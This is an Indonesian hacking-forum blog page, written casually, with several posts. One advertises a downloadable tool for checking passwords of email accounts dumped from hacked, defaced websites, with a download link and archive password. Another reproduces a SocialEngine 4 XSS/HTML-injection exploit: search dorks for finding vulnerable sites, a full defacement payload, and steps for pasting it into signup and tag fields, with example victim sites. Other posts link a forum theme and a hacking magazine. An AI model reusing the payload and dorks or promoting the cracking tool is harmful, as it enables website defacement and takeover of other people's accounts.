Code Nubitol

Buat kalian yg suka ngedeface website tentunya pernah melakukan dumping email bukan?
ya nge-dump alias mengumpulkan email anggota website yg di hack lalu daftar dumpt tersebut
account emailnya dicari satu persatu password decriptnya
tentu akan menjadi pekerjaan lama jika dikerjakan satu persatu atau di cek satu persatu
namun akan menjadi cepat jika di cek dengan tool
tapi tanggung sendiri akibatnya "USER OWN RISK" karna bisa jadi pembuat tool ini menyisipkan log yang akan mengirim email ke si pembuat tool
karena tau sendiri lah pasti "ada udang di balik batu" tas pembuatan tool ini.
jadi hasil hack kita akan diketahui juga oleh pemilik tool ini so terserah kamu untuk menggunakan tool ini atau mencari / cek sendiri dengan cara MANUAL saja.
dalam dunia persilatan dedemit maya sudah biasa kan hal2 tersebut hehehehe.. licik

LINK DOWNLOAD:
http://www.mediafire.com/?inh5v92jhkm4oap
password: craxers
ingat "USER OWN RISK"
sumber: HN

Themes HN

Dapet info dari forum sebelah barang kale ada yang pengen bikin forum mirip HN harap

Themes HN

link downloadnya:
http://mods.mybb.com/download/coder-green-v2

=====================================================
Social Engine 4 Multiple HTML Injection & XSS Vulnerabilities
=====================================================
:----------------------------------------------------------------------------------------------------------------------------------------:
: # Exploit Title : Social Engine 4 Multiple HTML Injection & XSS Vulnerabilities
: # Date : 27 July 2012
: # Author : X-Cisadane
: # Software Link : http://www.socialengine.com/buy-social-engine
: # Version : ALL
: # Category : Web Applications
: # Vulnerability : Multiple HTML Injection & XSS Vulnerabilities
: # Tested On : Mozilla Firefox 7.0.1 (Windows)
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Winda Utari
:----------------------------------------------------------------------------------------------------------------------------------------:
DORKS
=====
"This will be the end of your profile link, for example:"
OR
intext:"This page will contain the privacy statement of your choice."
XSS CODE
=======
<DIV align=left>
<DIV id=Layer1 style="BORDER-RIGHT: #000000 1px; BORDER-TOP: #000000 1px; 1; LEFT: 1px; BORDER-LEFT: #000000 1px; WIDTH: 1500px; BORDER-BOTTOM: #000000 1px; POSITION: absolute; TOP: 0px; HEIGHT: 5000px; BACKGROUND-COLOR: #000000; layer-background-color: #000000">
<br /><br />
<br>
<center>
<font face="Arial" color="red" size="4"><strong><br><br><br>Defaced By : X-Cisadane
<br>
</center>
<font face="Courier New" color="#FF0000" size="3"><center>Greetz To : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club and Winda Utari</center></font>
<center><img src="http://obnoxiousgamer.files.wordpress.com/2010/01/jollyroger.gif"></img></center>
<center><font face="arial" size="3" color="#FF0000">
<marquee behavior="alternate" scrolldelay="100" style="width: 90%">Please fix your hole!
</li>
</ul>
</td>
</tr>
</table>
</div>
Proof of Concept
================
1. Non-Persistent XSS on Sign Up Page
Example : http://SITE TARGET/signup
Copy & Paste XSS Code into Profile Address Field
Pic : http://i45.tinypic.com/v46iyd.png
Pic : http://i49.tinypic.com/156e79h.png
2. Persistent XSS on Tags (Keywords) Field
- In the Post New Video Page (http://SITE TARGET/videos/create)
Copy & Paste XSS Code into Tags (keywords) Field
Picture : http://i50.tinypic.com/14soaci.png
Example : http://www.ankabooot.com/videos/11081/523
- In the Post New Classfields Listing Page (http://SITE TARGET/classifieds/create)
Copy & Paste XSS Code into Tags (keywords) Field
Picture : http://i47.tinypic.com/2ptcv29.png
Example : http://www.contact.me/index.php/classifieds/27205/4/test
All XSS Flaws tested with Mozilla Firefox 7.0.1 (Windows)
Sumber :
http://packetstormsecurity.org/files/115096/Social-Engine-4-Cross-Site-Scripting.html
http://www.securityfocus.com/bid/54710
http://osvdb.org/show/osvdb/84322
http://cxsecurity.com/issue/WLB-2012070189
http://exploitsdownload.com/exploit/na/social-engine-4-cross-site-scripting
http://www.securelist.com/en/advisories/50095
http://www.emagined.com/securityfocus-advisory/54710/social-engine-multiple-html-injection-and-cross-site-scripting-vulnerabilities
http://webcache.googleusercontent.com/search?q=cache:scm-3SycnyoJ:www.vulnerability-lab.com/download_content.php%3Fid%3D672+SocialEngine+site:vulnerability-lab.com&cd=2&hl=en&ct=clnk&gl=uk

Habis jalan2 ke forum X-Code
yagh sekalian nengokin siapa tahu dapet ilmu kanuragan baru
egh ternyata bener2 dapat tambahan ilmu dari majalah online XCODE-MAGAZINE 20
yagh Saya sebagai MODERATOR bagian Coders - Reversers di X-CODE
ga da salahnya ikut nyebarin link download XCODE-MAGAZINE 20
semoga majalah ini dapat menambah wawasan dan ilmu pengetahuan anda seputar dunia HACKING , SECURITY , & DUNIA IT harap

download XCODE-MAGAZINE 20 disini
http://xcode.or.id/xcode_magazine_20.zip
sumber: http://xcode.or.id